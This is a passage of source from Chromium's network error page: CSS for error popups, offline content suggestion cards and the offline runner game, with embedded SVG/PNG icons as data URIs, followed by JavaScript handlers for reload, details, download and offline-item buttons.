padding-inline-start: 0;
}
#error-information-button {
content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBmaWxsPSJub25lIiBkPSJNMCAwaDI0djI0SDB6Ii8+PHBhdGggZD0iTTExIDE4aDJ2LTJoLTJ2MnptMS0xNkM2LjQ4IDIgMiA2LjQ4IDIgMTJzNC40OCAxMCAxMCAxMCAxMC00LjQ4IDEwLTEwUzE3LjUyIDIgMTIgMnptMCAxOGMtNC40MSAwLTgtMy41OS04LThzMy41OS04IDgtOCA4IDMuNTkgOCA4LTMuNTkgOC04IDh6bTAtMTRjLTIuMjEgMC00IDEuNzktNCA0aDJjMC0xLjEuOS0yIDItMnMyIC45IDIgMmMwIDItMyAxLjc1LTMgNWgyYzAtMi4yNSAzLTIuNSAzLTUgMC0yLjIxLTEuNzktNC00LTR6Ii8+PC9zdmc+);
height: 24px;
vertical-align: -.15em;
width: 24px;
}
.use-popup-container#error-information-popup-container
#error-information-popup {
align-items: center;
background-color: var(--popup-container-background-color);
display: flex;
height: 100%;
left: 0;
position: fixed;
top: 0;
width: 100%;
z-index: 100;
}
.use-popup-container#error-information-popup-container
#error-information-popup-content > p {
margin-bottom: 11px;
margin-inline-start: 20px;
}
.use-popup-container#error-information-popup-container #suggestions-list ul {
margin-inline-start: 15px;
}
.use-popup-container#error-information-popup-container
#error-information-popup-box {
background-color: var(--background-color);
left: 5%;
padding-bottom: 15px;
padding-top: 15px;
position: fixed;
width: 90%;
z-index: 101;
}
.use-popup-container#error-information-popup-container div.error-code {
margin-inline-start: 20px;
}
.use-popup-container#error-information-popup-container #suggestions-list p {
margin-inline-start: 20px;
}
:not(.use-popup-container)#error-information-popup-container
#error-information-popup-close {
display: none;
}
#error-information-popup-close {
margin-bottom: 0;
margin-inline-end: 35px;
margin-top: 15px;
text-align: end;
}
.link-button {
color: rgb(66, 133, 244);
display: inline-block;
font-weight: bold;
text-transform: uppercase;
}
#sub-frame-error-details {
color: #8F8F8F;
/* Not done on mobile for performance reasons. */
text-shadow: 0 1px 0 rgba(255,255,255,0.3);
}
[jscontent=hostName],
[jscontent=failedUrl] {
overflow-wrap: break-word;
}
.secondary-button {
background: #d9d9d9;
color: #696969;
margin-inline-end: 16px;
}
.snackbar {
background: #323232;
border-radius: 2px;
bottom: 24px;
box-sizing: border-box;
color: #fff;
font-size: .87em;
left: 24px;
max-width: 568px;
min-width: 288px;
opacity: 0;
padding: 16px 24px 12px;
position: fixed;
transform: translateY(90px);
will-change: opacity, transform;
z-index: 999;
}
.snackbar-show {
-webkit-animation:
show-snackbar 250ms cubic-bezier(0, 0, 0.2, 1) forwards,
hide-snackbar 250ms cubic-bezier(0.4, 0, 1, 1) forwards 5s;
}
@-webkit-keyframes show-snackbar {
100% {
opacity: 1;
transform: translateY(0);
}
}
@-webkit-keyframes hide-snackbar {
0% {
opacity: 1;
transform: translateY(0);
}
100% {
opacity: 0;
transform: translateY(90px);
}
}
.suggestions {
margin-top: 18px;
}
.suggestion-header {
font-weight: bold;
margin-bottom: 4px;
}
.suggestion-body {
color: #777;
}
/* Decrease padding at low sizes. */
@media (max-width: 640px), (max-height: 640px) {
h1 {
margin: 0 0 15px;
}
.suggestions {
margin-top: 10px;
}
.suggestion-header {
margin-bottom: 0;
}
}
#download-link,
#download-link-clicked {
margin-bottom: 30px;
margin-top: 30px;
}
#download-link-clicked {
color: #BBB;
}
#download-link::before,
#download-link-clicked::before {
content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxLjJlbSIgaGVpZ2h0PSIxLjJlbSIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNNSAyMGgxNHYtMkg1bTE0LTloLTRWM0g5djZINWw3IDcgNy03eiIgZmlsbD0iIzQyODVGNCIvPjwvc3ZnPg==);
display: inline-block;
margin-inline-end: 4px;
vertical-align: -webkit-baseline-middle;
}
#download-link-clicked::before {
opacity: 0;
width: 0;
}
#offline-content-list-visibility-card {
border: 1px solid white;
border-radius: 8px;
display: flex;
font-size: .8em;
justify-content: space-between;
line-height: 1;
}
#offline-content-list.list-hidden #offline-content-list-visibility-card {
border-color: rgb(218, 220, 224);
}
#offline-content-list-visibility-card > div {
padding: 1em;
}
#offline-content-list-title {
color: var(--google-gray-700);
}
#offline-content-list-show-text,
#offline-content-list-hide-text {
color: rgb(66, 133, 244);
}
/* Hides the "hide" text div when the offline content list is collapsed/hidden
* and, alternatively, hides the "show" text div when the offline content list
* is expanded/shown.
*/
#offline-content-list.list-hidden #offline-content-list-hide-text,
#offline-content-list:not(.list-hidden) #offline-content-list-show-text {
display: none;
}
/* Controls the animation of the offline content list when it is expanded/shown.
*/
#offline-content-suggestions {
/* Max-height has to be set for the height animation to work. The chosen value
* is a little greater than the maximum height the list will have, when all
* suggestions have images, so that it is never clamped. This makes so that
* when the actual height is smaller then the animation is not as smooth.
*/
max-height: 27em;
transition: max-height 200ms ease-in, visibility 0s 200ms,
opacity 200ms 200ms linear;
}
/* Controls the animation of the offline content list when it is
* collapsed/hidden.
*/
#offline-content-list.list-hidden #offline-content-suggestions {
max-height: 0;
opacity: 0;
transition: opacity 200ms linear, visibility 0s 200ms,
max-height 200ms 200ms ease-out;
visibility: hidden;
}
#offline-content-list {
margin-inline-start: -5%;
width: 110%;
}
/* The selectors below adjust the "overflow" of the suggestion cards contents
* based on the same screen size based strategy used for the main frame, which
* is applied by the `interstitial-wrapper` class. */
@media (max-width: 420px) {
#offline-content-list {
margin-inline-start: -2.5%;
width: 105%;
}
}
@media (max-width: 420px) and (orientation: portrait),
(max-height: 560px) {
#offline-content-list {
margin-inline-start: -12px;
width: calc(100% + 24px);
}
}
.suggestion-with-image .offline-content-suggestion-thumbnail {
flex-basis: 8.2em;
flex-shrink: 0;
}
.suggestion-with-image .offline-content-suggestion-thumbnail > img {
height: 100%;
width: 100%;
}
.suggestion-with-image #offline-content-list:not(.is-rtl)
.offline-content-suggestion-thumbnail > img {
border-bottom-right-radius: 7px;
border-top-right-radius: 7px;
}
.suggestion-with-image #offline-content-list.is-rtl
.offline-content-suggestion-thumbnail > img {
border-bottom-left-radius: 7px;
border-top-left-radius: 7px;
}
.suggestion-with-icon .offline-content-suggestion-thumbnail {
align-items: center;
display: flex;
justify-content: center;
min-height: 4.2em;
min-width: 4.2em;
}
.suggestion-with-icon .offline-content-suggestion-thumbnail > div {
align-items: center;
background-color: rgb(241, 243, 244);
border-radius: 50%;
display: flex;
height: 2.3em;
justify-content: center;
width: 2.3em;
}
.suggestion-with-icon .offline-content-suggestion-thumbnail > div > img {
height: 1.45em;
width: 1.45em;
}
.offline-content-suggestion-favicon {
height: 1em;
margin-inline-end: 0.4em;
width: 1.4em;
}
.offline-content-suggestion-favicon > img {
height: 1.4em;
width: 1.4em;
}
.no-favicon .offline-content-suggestion-favicon {
display: none;
}
.image-video {
content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNMTcgMTAuNVY3YTEgMSAwIDAgMC0xLTFINGExIDEgMCAwIDAtMSAxdjEwYTEgMSAwIDAgMCAxIDFoMTJhMSAxIDAgMCAwIDEtMXYtMy41bDQgNHYtMTFsLTQgNHoiIGZpbGw9IiMzQzQwNDMiLz48L3N2Zz4=);
}
.image-music-note {
content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNMTIgM3Y5LjI2Yy0uNS0uMTctMS0uMjYtMS41LS4yNkM4IDEyIDYgMTQgNiAxNi41UzggMjEgMTAuNSAyMXM0LjUtMiA0LjUtNC41VjZoNFYzaC03eiIgZmlsbD0iIzNDNDA0MyIvPjwvc3ZnPg==);
}
.image-earth {
content: url(data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMjQiIGhlaWdodD0iMjQiIHZpZXdCb3g9IjAgMCAyNCAyNCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMTIgMmM1LjUyIDAgMTAgNC40OCAxMCAxMHMtNC40OCAxMC0xMCAxMFMyIDE3LjUyIDIgMTIgNi40OCAyIDEyIDJ6TTQgMTJoNC40YzMuNDA3LjAyMiA0LjkyMiAxLjczIDQuNTQzIDUuMTI3SDkuNDg4djIuNDdhOC4wMDQgOC4wMDQgMCAwIDAgMTAuNDk4LTguMDgzQzE5LjMyNyAxMi41MDQgMTguMzMyIDEzIDE3IDEzYy0yLjEzNyAwLTMuMjA2LS45MTYtMy4yMDYtMi43NWgtMy43NDhjLS4yNzQtMi43MjguNjgzLTQuMDkyIDIuODctNC4wOTIgMC0uOTc1LjMyNy0xLjU5Ny44MTEtMS45N0E4LjAwNCA4LjAwNCAwIDAgMCA0IDEyeiIgZmlsbD0iIzNDNDA0MyIvPjwvc3ZnPg==);
}
.image-file {
content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNMTMgOVYzLjVMMTguNSA5TTYgMmMtMS4xMSAwLTIgLjg5LTIgMnYxNmEyIDIgMCAwIDAgMiAyaDEyYTIgMiAwIDAgMCAyLTJWOGwtNi02SDZ6IiBmaWxsPSIjM0M0MDQzIi8+PC9zdmc+);
}
.offline-content-suggestion-texts {
display: flex;
flex-direction: column;
justify-content: space-between;
line-height: 1.3;
padding: .9em;
width: 100%;
}
.offline-content-suggestion-title {
-webkit-box-orient: vertical;
-webkit-line-clamp: 3;
color: rgb(32, 33, 36);
display: -webkit-box;
font-size: 1.1em;
overflow: hidden;
text-overflow: ellipsis;
}
div.offline-content-suggestion {
align-items: stretch;
border: 1px solid rgb(218, 220, 224);
border-radius: 8px;
display: flex;
justify-content: space-between;
margin-bottom: .8em;
}
.suggestion-with-image {
flex-direction: row;
height: 8.2em;
max-height: 8.2em;
}
.suggestion-with-icon {
flex-direction: row-reverse;
height: 4.2em;
max-height: 4.2em;
}
.suggestion-with-icon .offline-content-suggestion-title {
-webkit-line-clamp: 1;
word-break: break-all;
}
.suggestion-with-icon .offline-content-suggestion-texts {
padding-inline-start: 0;
}
.offline-content-suggestion-attribution-freshness {
color: rgb(95, 99, 104);
display: flex;
font-size: .8em;
line-height: 1.7em;
}
.offline-content-suggestion-attribution {
-webkit-box-orient: vertical;
-webkit-line-clamp: 1;
display: -webkit-box;
flex-shrink: 1;
margin-inline-end: 0.3em;
overflow: hidden;
overflow-wrap: break-word;
text-overflow: ellipsis;
word-break: break-all;
}
.no-attribution .offline-content-suggestion-attribution {
display: none;
}
.offline-content-suggestion-freshness::before {
content: '-';
display: inline-block;
flex-shrink: 0;
margin-inline-end: .1em;
margin-inline-start: .1em;
}
.no-attribution .offline-content-suggestion-freshness::before {
display: none;
}
.offline-content-suggestion-freshness {
flex-shrink: 0;
}
.suggestion-with-image .offline-content-suggestion-pin-spacer {
flex-grow: 100;
flex-shrink: 1;
}
.suggestion-with-image .offline-content-suggestion-pin {
content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2aWV3Qm94PSIwIDAgMjQgMjQiIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCI+PGRlZnM+PHBhdGggaWQ9ImEiIGQ9Ik0wIDBoMjR2MjRIMFYweiIvPjwvZGVmcz48Y2xpcFBhdGggaWQ9ImIiPjx1c2UgeGxpbms6aHJlZj0iI2EiIG92ZXJmbG93PSJ2aXNpYmxlIi8+PC9jbGlwUGF0aD48cGF0aCBjbGlwLXBhdGg9InVybCgjYikiIGQ9Ik0xMiAyQzYuNSAyIDIgNi41IDIgMTJzNC41IDEwIDEwIDEwIDEwLTQuNSAxMC0xMFMxNy41IDIgMTIgMnptNSAxNkg3di0yaDEwdjJ6bS02LjctNEw3IDEwLjdsMS40LTEuNCAxLjkgMS45IDUuMy01LjNMMTcgNy4zIDEwLjMgMTR6IiBmaWxsPSIjOUFBMEE2Ii8+PC9zdmc+);
flex-shrink: 0;
height: 1.4em;
margin-inline-start: .4em;
width: 1.4em;
}
/* Controls the animation (and a bit more) of the launch-downloads-home action
* button when the offline content list is expanded/shown.
*/
#offline-content-list-action {
text-align: center;
transition: visibility 0s 200ms, opacity 200ms 200ms linear;
}
/* Controls the animation of the launch-downloads-home action button when the
* offline content list is collapsed/hidden.
*/
#offline-content-list.list-hidden #offline-content-list-action {
opacity: 0;
transition: opacity 200ms linear, visibility 0s 200ms;
visibility: hidden;
}
#cancel-save-page-button {
background-image: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyNCAyNCIgd2lkdGg9IjI0IiBoZWlnaHQ9IjI0Ij48Y2xpcFBhdGggaWQ9Im1hc2siPjxwYXRoIGQ9Ik0xMiAyQzYuNSAyIDIgNi41IDIgMTJzNC41IDEwIDEwIDEwIDEwLTQuNSAxMC0xMFMxNy41IDIgMTIgMnptNSAxNkg3di0yaDEwdjJ6bS02LjctNEw3IDEwLjdsMS40LTEuNCAxLjkgMS45IDUuMy01LjNMMTcgNy4zIDEwLjMgMTR6IiBmaWxsPSIjOUFBMEE2Ii8+PC9jbGlwUGF0aD48cGF0aCBjbGlwLXBhdGg9InVybCgjbWFzaykiIGZpbGw9IiM5QUEwQTYiIGQ9Ik0wIDBoMjR2MjRIMHoiLz48cGF0aCBjbGlwLXBhdGg9InVybCgjbWFzaykiIGZpbGw9IiMxQTczRTgiIHN0eWxlPSJhbmltYXRpb246b2ZmbGluZUFuaW1hdGlvbiA0cyBpbmZpbml0ZSIgZD0iTTAgMGgyNHYyNEgweiIvPjxzdHlsZT5Aa2V5ZnJhbWVzIG9mZmxpbmVBbmltYXRpb257MCUsMzUle2hlaWdodDowfTYwJXtoZWlnaHQ6MTAwJX05MCV7ZmlsbC1vcGFjaXR5OjF9dG97ZmlsbC1vcGFjaXR5OjB9fTwvc3R5bGU+PC9zdmc+);
background-position: right 27px center;
background-repeat: no-repeat;
border: 1px solid var(--google-gray-300);
border-radius: 5px;
color: var(--google-gray-700);
margin-bottom: 26px;
padding-bottom: 16px;
padding-inline-end: 88px;
padding-inline-start: 16px;
padding-top: 16px;
text-align: start;
}
html[dir='rtl'] #cancel-save-page-button {
background-position: left 27px center;
}
#save-page-for-later-button {
display: flex;
justify-content: start;
}
#save-page-for-later-button a::before {
content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxLjJlbSIgaGVpZ2h0PSIxLjJlbSIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNNSAyMGgxNHYtMkg1bTE0LTloLTRWM0g5djZINWw3IDcgNy03eiIgZmlsbD0iIzQyODVGNCIvPjwvc3ZnPg==);
display: inline-block;
margin-inline-end: 4px;
vertical-align: -webkit-baseline-middle;
}
.hidden#save-page-for-later-button {
display: none;
}
/* Don't allow overflow when in a subframe. */
html[subframe] body {
overflow: hidden;
}
#sub-frame-error {
-webkit-align-items: center;
-webkit-flex-flow: column;
-webkit-justify-content: center;
background-color: #DDD;
display: -webkit-flex;
height: 100%;
left: 0;
position: absolute;
text-align: center;
top: 0;
transition: background-color 200ms ease-in-out;
width: 100%;
}
#sub-frame-error:hover {
background-color: #EEE;
}
#sub-frame-error .icon-generic {
margin: 0 0 16px;
}
#sub-frame-error-details {
margin: 0 10px;
text-align: center;
visibility: hidden;
}
/* Show details only when hovering. */
#sub-frame-error:hover #sub-frame-error-details {
visibility: visible;
}
/* If the iframe is too small, always hide the error code. */
/* TODO(mmenke): See if overflow: no-display works better, once supported. */
@media (max-width: 200px), (max-height: 95px) {
#sub-frame-error-details {
display: none;
}
}
/* Adjust icon for small embedded frames in apps. */
@media (max-height: 100px) {
#sub-frame-error .icon-generic {
height: auto;
margin: 0;
padding-top: 0;
width: 25px;
}
}
/* details-button is special; it's a <button> element that looks like a link. */
#details-button {
box-shadow: none;
min-width: 0;
}
/* Styles for platform dependent separation of controls and details button. */
.suggested-left > #control-buttons,
.suggested-right > #details-button {
float: left;
}
.suggested-right > #control-buttons,
.suggested-left > #details-button {
float: right;
}
.suggested-left .secondary-button {
margin-inline-end: 0;
margin-inline-start: 16px;
}
#details-button.singular {
float: none;
}
/* download-button shows both icon and text. */
#download-button {
padding-bottom: 4px;
padding-top: 4px;
position: relative;
}
#download-button::before {
background: -webkit-image-set(
url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAQAAABKfvVzAAAAO0lEQVQ4y2NgGArgPxIY1YChsOE/LtBAmpYG0mxpIOSDBpKUo2lpIDZxNJCkHKqlYZAla3RAHQ1DFgAARRroHyLNTwwAAAAASUVORK5CYII=) 1x,
url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAQAAAD9CzEMAAAAZElEQVRYw+3Ruw3AMAwDUY3OzZUmRRD4E9iim9wNwAdbEURHyk4AAAAATiCVK8lLyPsKeT9K3lsownnunfkPxO78hKiYHxBV8x2icr5BVM+/CMf8g3DN34Rzns6ViwHUAUQ/6wIAd5Km7l6c8AAAAABJRU5ErkJggg==) 2x)
no-repeat;
content: '';
display: inline-block;
height: 24px;
margin-inline-end: 4px;
margin-inline-start: -4px;
vertical-align: middle;
width: 24px;
}
#download-button:disabled {
background: rgb(180, 206, 249);
color: rgb(255, 255, 255);
}
#buttons::after {
clear: both;
content: '';
display: block;
width: 100%;
}
/* Offline page */
html[dir='rtl'] .runner-container,
html[dir='rtl'].offline .icon-offline {
transform: scaleX(-1);
}
.offline {
transition: filter 1.5s cubic-bezier(0.65, 0.05, 0.36, 1),
background-color 1.5s cubic-bezier(0.65, 0.05, 0.36, 1);
will-change: filter, background-color;
}
.offline body {
transition: background-color 1.5s cubic-bezier(0.65, 0.05, 0.36, 1);
}
.offline #main-message > p {
display: none;
}
.offline.inverted {
background-color: #fff;
filter: invert(1);
}
.offline.inverted body {
background-color: #fff;
}
.offline .interstitial-wrapper {
color: var(--text-color);
font-size: 1em;
line-height: 1.55;
margin: 0 auto;
max-width: 600px;
padding-top: 100px;
position: relative;
width: 100%;
}
.offline .runner-container {
direction: ltr;
height: 150px;
max-width: 600px;
overflow: hidden;
position: absolute;
top: 35px;
width: 44px;
}
.offline .runner-container:focus {
outline: none;
}
.offline .runner-container:focus-visible {
outline: 3px solid var(--google-blue-300);
}
.offline .runner-canvas {
height: 150px;
max-width: 600px;
opacity: 1;
overflow: hidden;
position: absolute;
top: 0;
z-index: 10;
}
.offline .controller {
height: 100vh;
left: 0;
position: absolute;
top: 0;
width: 100vw;
z-index: 9;
}
#offline-resources {
display: none;
}
#offline-instruction {
image-rendering: pixelated;
left: 0;
margin: auto;
position: absolute;
right: 0;
top: 60px;
width: fit-content;
}
.offline-runner-live-region {
bottom: 0;
clip-path: polygon(0 0, 0 0, 0 0);
color: var(--background-color);
display: block;
font-size: xx-small;
overflow: hidden;
position: absolute;
text-align: center;
transition: color 1.5s cubic-bezier(0.65, 0.05, 0.36, 1);
user-select: none;
}
/* Custom toggle */
.slow-speed-option {
align-items: center;
background: var(--google-gray-50);
border-radius: 24px/50%;
bottom: 0;
color: var(--error-code-color);
display: inline-flex;
font-size: 1em;
left: 0;
line-height: 1.1em;
margin: 5px auto;
padding: 2px 12px 3px 20px;
position: absolute;
right: 0;
width: max-content;
z-index: 999;
}
.slow-speed-option.hidden {
display: none;
}
.slow-speed-option [type=checkbox] {
opacity: 0;
pointer-events: none;
position: absolute;
}
.slow-speed-option .slow-speed-toggle {
cursor: pointer;
margin-inline-start: 8px;
padding: 8px 4px;
position: relative;
}
.slow-speed-option [type=checkbox]:disabled ~ .slow-speed-toggle {
cursor: default;
}
.slow-speed-option-label [type=checkbox] {
opacity: 0;
pointer-events: none;
position: absolute;
}
.slow-speed-option .slow-speed-toggle::before,
.slow-speed-option .slow-speed-toggle::after {
content: '';
display: block;
margin: 0 3px;
transition: all 100ms cubic-bezier(0.4, 0, 1, 1);
}
.slow-speed-option .slow-speed-toggle::before {
background: rgb(189,193,198);
border-radius: 0.65em;
height: 0.9em;
width: 2em;
}
.slow-speed-option .slow-speed-toggle::after {
background: #fff;
border-radius: 50%;
box-shadow: 0 1px 3px 0 rgb(0 0 0 / 40%);
height: 1.2em;
position: absolute;
top: 51%;
transform: translate(-20%, -50%);
width: 1.1em;
}
.slow-speed-option [type=checkbox]:focus + .slow-speed-toggle {
box-shadow: 0 0 8px rgb(94, 158, 214);
outline: 1px solid rgb(93, 157, 213);
}
.slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::before {
background: var(--google-blue-600);
opacity: 0.5;
}
.slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::after {
background: var(--google-blue-600);
transform: translate(calc(2em - 90%), -50%);
}
.slow-speed-option [type=checkbox]:checked:disabled +
.slow-speed-toggle::before {
background: rgb(189,193,198);
}
.slow-speed-option [type=checkbox]:checked:disabled +
.slow-speed-toggle::after {
background: var(--google-gray-50);
}
@media (max-width: 420px) {
#download-button {
padding-bottom: 12px;
padding-top: 12px;
}
.suggested-left > #control-buttons,
.suggested-right > #control-buttons {
float: none;
}
.snackbar {
border-radius: 0;
bottom: 0;
left: 0;
width: 100%;
}
}
@media (max-height: 350px) {
h1 {
margin: 0 0 15px;
}
.icon-offline {
margin: 0 0 10px;
}
.interstitial-wrapper {
margin-top: 5%;
}
.nav-wrapper {
margin-top: 30px;
}
}
@media (min-width: 420px) and (max-width: 736px) and
(min-height: 240px) and (max-height: 420px) and
(orientation:landscape) {
.interstitial-wrapper {
margin-bottom: 100px;
}
}
@media (max-width: 360px) and (max-height: 480px) {
.offline .interstitial-wrapper {
padding-top: 60px;
}
.offline .runner-container {
top: 8px;
}
}
@media (min-height: 240px) and (orientation: landscape) {
.offline .interstitial-wrapper {
margin-bottom: 90px;
}
.icon-offline {
margin-bottom: 20px;
}
}
@media (max-height: 320px) and (orientation: landscape) {
.icon-offline {
margin-bottom: 0;
}
.offline .runner-container {
top: 10px;
}
}
@media (max-width: 240px) {
button {
padding-inline-end: 12px;
padding-inline-start: 12px;
}
.interstitial-wrapper {
overflow: inherit;
padding: 0 8px;
}
}
@media (max-width: 120px) {
button {
width: auto;
}
}
.arcade-mode,
.arcade-mode .runner-container,
.arcade-mode .runner-canvas {
image-rendering: pixelated;
max-width: 100%;
overflow: hidden;
}
.arcade-mode #buttons,
.arcade-mode #main-content {
opacity: 0;
overflow: hidden;
}
.arcade-mode .interstitial-wrapper {
height: 100vh;
max-width: 100%;
overflow: hidden;
}
.arcade-mode .runner-container {
left: 0;
margin: auto;
right: 0;
transform-origin: top center;
transition: transform 250ms cubic-bezier(0.4, 0, 1, 1) 400ms;
z-index: 2;
}
@media (prefers-color-scheme: dark) {
.icon {
filter: invert(1);
}
.offline .runner-canvas {
filter: invert(1);
}
.offline.inverted {
background-color: var(--background-color);
filter: invert(0);
}
.offline.inverted body {
background-color: #fff;
}
.offline.inverted .offline-runner-live-region {
color: #fff;
}
#suggestions-list a {
color: var(--link-color);
}
#error-information-button {
filter: invert(0.6);
}
.slow-speed-option {
background: var(--google-gray-800);
color: var(--google-gray-100);
}
.slow-speed-option .slow-speed-toggle::before,
.slow-speed-option [type=checkbox]:checked:disabled +
.slow-speed-toggle::before {
background: rgb(189,193,198);
}
.slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::after,
.slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::before {
background: var(--google-blue-300);
}
}
</style>
<script>// Copyright 2013 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
/**
* @typedef {{
* downloadButtonClick: function(),
* reloadButtonClick: function(string),
* detailsButtonClick: function(),
* diagnoseErrorsButtonClick: function(),
* trackEasterEgg: function(),
* updateEasterEggHighScore: function(number),
* resetEasterEggHighScore: function(),
* launchOfflineItem: function(string, string),
* savePageForLater: function(),
* cancelSavePage: function(),
* listVisibilityChange: function(boolean),
* }}
*/
// eslint-disable-next-line no-var
var errorPageController;
const HIDDEN_CLASS = 'hidden';
// Decodes a UTF16 string that is encoded as base64.
function decodeUTF16Base64ToString(encoded_text) {
const data = atob(encoded_text);
let result = '';
for (let i = 0; i < data.length; i += 2) {
result +=
String.fromCharCode(data.charCodeAt(i) * 256 + data.charCodeAt(i + 1));
}
return result;
}
function toggleHelpBox() {
const helpBoxOuter = document.getElementById('details');
helpBoxOuter.classList.toggle(HIDDEN_CLASS);
const detailsButton = document.getElementById('details-button');
if (helpBoxOuter.classList.contains(HIDDEN_CLASS)) {
/** @suppress {missingProperties} */
detailsButton.innerText = detailsButton.detailsText;
} else {
/** @suppress {missingProperties} */
detailsButton.innerText = detailsButton.hideDetailsText;
}
// Details appears over the main content on small screens.
if (mobileNav) {
document.getElementById('main-content').classList.toggle(HIDDEN_CLASS);
const runnerContainer = document.querySelector('.runner-container');
if (runnerContainer) {
runnerContainer.classList.toggle(HIDDEN_CLASS);
}
}
}
function diagnoseErrors() {
if (window.errorPageController) {
errorPageController.diagnoseErrorsButtonClick();
}
}
// Subframes use a different layout but the same html file. This is to make it
// easier to support platforms that load the error page via different
// mechanisms (Currently just iOS). We also use the subframe style for portals
// as they are embedded like subframes and can't be interacted with by the user.
let isSubFrame = false;
if (window.top.location !== window.location || window.portalHost) {
document.documentElement.setAttribute('subframe', '');
isSubFrame = true;
}
// Re-renders the error page using |strings| as the dictionary of values.
// Used by NetErrorTabHelper to update DNS error pages with probe results.
function updateForDnsProbe(strings) {
const context = new JsEvalContext(strings);
jstProcess(context, document.getElementById('t'));
onDocumentLoadOrUpdate();
}
// Adds an icon class to the list and removes classes previously set.
function updateIconClass(newClass) {
const frameSelector = isSubFrame ? '#sub-frame-error' : '#main-frame-error';
const iconEl = document.querySelector(frameSelector + ' .icon');
if (iconEl.classList.contains(newClass)) {
return;
}
iconEl.className = 'icon ' + newClass;
}
// Implements button clicks. This function is needed during the transition
// between implementing these in trunk chromium and implementing them in iOS.
function reloadButtonClick(url) {
if (window.errorPageController) {
//
//
errorPageController.reloadButtonClick();
//
} else {
window.location = url;
}
}
function downloadButtonClick() {
if (window.errorPageController) {
errorPageController.downloadButtonClick();
const downloadButton = document.getElementById('download-button');
downloadButton.disabled = true;
/** @suppress {missingProperties} */
downloadButton.textContent = downloadButton.disabledText;
document.getElementById('download-link-wrapper')
.classList.add(HIDDEN_CLASS);
document.getElementById('download-link-clicked-wrapper')
.classList.remove(HIDDEN_CLASS);
}
}
function detailsButtonClick() {
if (window.errorPageController) {
errorPageController.detailsButtonClick();
}
}
let primaryControlOnLeft = true;
// clang-format off
//
// clang-format on
primaryControlOnLeft = false;
//
function setAutoFetchState(scheduled, can_schedule) {
document.getElementById('cancel-save-page-button')
.classList.toggle(HIDDEN_CLASS, !scheduled);
document.getElementById('save-page-for-later-button')
.classList.toggle(HIDDEN_CLASS, scheduled || !can_schedule);
}
function savePageLaterClick() {
errorPageController.savePageForLater();
// savePageForLater will eventually trigger a call to setAutoFetchState() when
// it completes.
}
function cancelSavePageClick() {
errorPageController.cancelSavePage();
// setAutoFetchState is not called in response to cancelSavePage(), so do it
// now.
setAutoFetchState(false, true);
}
function toggleErrorInformationPopup() {
document.getElementById('error-information-popup-container')
.classList.toggle(HIDDEN_CLASS);
}
function launchOfflineItem(itemID, name_space) {
errorPageController.launchOfflineItem(itemID, name_space);
}
function launchDownloadsPage() {
errorPageController.launchDownloadsPage();
}
function getIconForSuggestedItem(item) {
// Note: |item.content_type| contains the enum values from
// chrome::mojom::AvailableContentType.
switch (item.content_type) {
case 1: // kVideo
return 'image-video';
case 2: // kAudio
return 'image-music-note';
case 0: // kPrefetchedPage
case 3: // kOtherPage
return 'image-earth';
}
return 'image-file';
}
function getSuggestedContentDiv(item, index) {
// Note: See AvailableContentToValue in available_offline_content_helper.cc
// for the data contained in an |item|.
// TODO(carlosk): Present |snippet_base64| when that content becomes
// available.
let thumbnail = '';
const extraContainerClasses = [];
// html_inline.py will try to replace src attributes with data URIs using a
// simple regex. The following is obfuscated slightly to avoid that.
const source = 'src';
if (item.thumbnail_data_uri) {
extraContainerClasses.push('suggestion-with-image');
thumbnail = `<img ${source}="${item.thumbnail_data_uri}">`;
} else {
extraContainerClasses.push('suggestion-with-icon');
const iconClass = getIconForSuggestedItem(item);
thumbnail = `<div><img class="${iconClass}"></div>`;
}
let favicon = '';
if (item.favicon_data_uri) {
favicon = `<img ${source}="${item.favicon_data_uri}">`;
} else {
extraContainerClasses.push('no-favicon');
}
if (!item.attribution_base64) {
extraContainerClasses.push('no-attribution');
}
return `
<div class="offline-content-suggestion ${extraContainerClasses.join(' ')}"
onclick="launchOfflineItem('${item.ID}', '${item.name_space}')">
<div class="offline-content-suggestion-texts">
<div id="offline-content-suggestion-title-${index}"
class="offline-content-suggestion-title">
</div>
